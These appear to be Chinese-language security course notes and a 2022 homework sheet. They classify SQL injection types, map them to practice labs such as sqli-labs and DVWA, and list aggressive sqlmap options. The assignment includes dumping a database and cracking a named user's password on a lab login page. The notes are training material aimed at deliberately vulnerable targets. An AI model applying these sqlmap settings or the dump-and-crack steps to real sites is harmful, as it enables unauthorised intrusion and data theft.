(2)GET,数字型,无回显

(3)POST,字符型,无回显

loginPHP

(4)POST,数字型,无回显

DVWA-Medium-SQL Injection (Blind)

3.cookie注入

POST

sqli-labs/Less-20


【SQL注入分类】

1.有回显(显错注入)

(1)GET,数字型,有回显:联合查询

GET(192.168.112.10):http://192.168.112.10/cat.php?id=2

作业5(5)猫舍:http://cntj8003.ia.aqlab.cn/?id=1

作业3(5)sqli-labs/Less-2/?id=1

作业3(4)RedTiger level1.php?cat=1 

SQL注入靶场:http://injectx1.lab.aqlab.cn/Pass-01/index.php?id=1


(2)GET,字符型,有回显:联合查询

作业3(2)sqli-labs/Less-1/?id=1

作业3(1)loginPHP/loginAuth.php

作业3(3)DVWA-Low-SQL Injection(DVWA-初级-SQL注入) 


(3)POST,数字型,有回显:

作业5(3)DVWA-Medium-SQL Injection(DVWA-中级-SQL注入)


(4)POST,字符型,有回显

作业5(1)sqli-labs/Less-2:http://192.168.112.100/sqli-labs/Less-12/   SQLmap


2.无回显(盲注)

(1)GET,数字型,无回显

SQL注入靶场:http://injectx1.lab.aqlab.cn/Pass-10/index.php?id=1


(2)GET,字符型,无回显

实训1 cake:http://192.168.112.100/cake/single.php?id=1  SQLmap,Python

作业5(2)loginPHP

DVWA-Low-SQL Injection (Blind)(DVWA-初级-盲注)


(3)POST,数字型,无回显


(4)POST,字符型,无回显

sqli-labs/Less-11/  SQLmap

作业5(4)DVWA-Medium-SQL Injection (Blind)(DVWA-初级-盲注)



SQLmap选项:

--forms

--cookie='   '

--dbms mysql --batch

--level 5 --risk 3

-r request.raw(Burp抓包)   HTTP头注入

SQL注入:POST,GET,HTTP头

3.cookie注入:sqli-labs/Less-20



【附Python程序】

1.ipynb(在Jupyter Notebook中打开,需要调试)

2.ipynb(在Jupyter Notebook中打开)


【2022.09.28作业5“SQL注入、Burp、Python”】

(1)sqli-labs/Less-12,拖库

http://192.168.112.100/sqli-labs/Less-12/

(2)loginPHP破解指定用户名“wl210514”的密码(20位以内的数字、字符、特殊字符组成)

http://192.168.112.100/loginPHP/loginAuth.php

(3)DVWA-Medium-SQL Injection(DVWA-中级-SQL注入)

http://192.168.112.100/DVWA-master/vulnerabilities/sqli/

(4)DVWA-Medium-SQL Injection(Blind)(DVWA-中级-SQL注入盲注)

http://192.168.112.100/DVWA-master/vulnerabilities/sqli_blind/

(5)猫舍

http://cntj8003.ia.aqlab.cn/



开始时间:2022-09-28 10:00

截止时间:2022-10-07 17:00